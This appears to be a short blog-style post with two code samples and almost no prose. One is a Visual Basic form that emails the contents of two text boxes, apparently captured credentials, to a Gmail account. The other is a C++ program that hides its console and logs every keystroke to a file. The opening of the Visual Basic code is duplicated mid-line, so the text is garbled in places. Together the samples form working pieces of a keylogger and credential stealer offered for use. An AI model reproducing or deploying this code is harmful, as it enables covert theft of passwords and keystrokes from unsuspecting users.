Reverse Engineering: Visual Basic SMTP and CPP WinAPI Hook

Imports System.Net.Mail
Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim MyMailMessage As New MailMessage()
        Try
            MyMailMessage.From = New MailAddress(Imports System.Net.Mail
Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim MyMailMessage As New MailMessage()
        Try
            MyMailMessage.From = New MailAddress(GMAIL ACCOUNT)
            MyMailMessage.To.Add(GMAIL ACCOUNT)
            MyMailMessage.Subject = "_______"
            MyMailMessage.Body = "______ " & TextBox1.Text & "_______" & TextBox2.Text
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(GMAIL ACCOUNT, GMAIL PASSWORD)
            SMTP.Send(MyMailMessage)
        Catch ex As Exception
        End Try
    End Sub
End Class

---

#include <Windows.h>
#include <iostream>
using namespace std;
 
int Save(int _key, char *file);
 
int main() {
       char i;
       FreeConsole(); 
       while (true) {
              Sleep(10);
              for (i = 8; i <= 255; i++) {
                      if (GetAsyncKeyState(i) == -32767) {
                            Save(i, "_______");
                      }
              }
       }
 
       return 0;
}
int Save(int _key, char *file) {
       cout << _key << endl;
       Sleep(10);
       FILE *OUTPUT_FILE;
       OUTPUT_FILE = fopen(file, "a+");
       if (_key == VK_SHIFT)
              fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
       else if (_key == VK_BACK)
              fprintf(OUTPUT_FILE, "%s", "[BACK]");
       else if (_key == VK_LBUTTON)
              fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
       else if (_key == VK_RETURN)
              fprintf(OUTPUT_FILE, "%s", "[RETURN]");
       else if (_key == VK_ESCAPE)
              fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
       else
              fprintf(OUTPUT_FILE, "%s", &_key);
       fclose(OUTPUT_FILE);
       return 0;
}